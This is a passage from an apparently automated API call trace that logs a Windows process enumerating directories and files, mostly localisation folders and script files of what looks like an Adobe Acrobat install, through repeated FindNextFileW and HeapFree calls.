ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0190.297] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.297] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0190.297] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.297] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0190.298] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.298] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0190.487] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0190.490] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0190.491] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.491] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.491] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.491] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0190.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.492] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.492] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0190.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.493] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0190.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.493] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0190.493] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0190.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.493] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49d47, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0190.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.493] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0190.494] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0190.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0190.498] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="send-for-sign", cAlternateFileName="SEND-F~1")) returned 1 [0190.499] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.499] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0190.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.503] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0190.503] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0190.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0190.503] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0190.503] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0190.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0190.503] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0190.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.504] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.504] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.505] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.505] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.505] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0190.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.506] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.506] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0190.507] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.507] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.508] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.508] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0190.508] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.508] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.508] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.508] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.508] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.509] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0190.509] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.509] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0190.509] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.509] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0190.509] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.509] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0190.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.510] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.510] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.510] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0190.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.511] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.511] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.511] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.511] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.511] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0190.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0190.512] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, 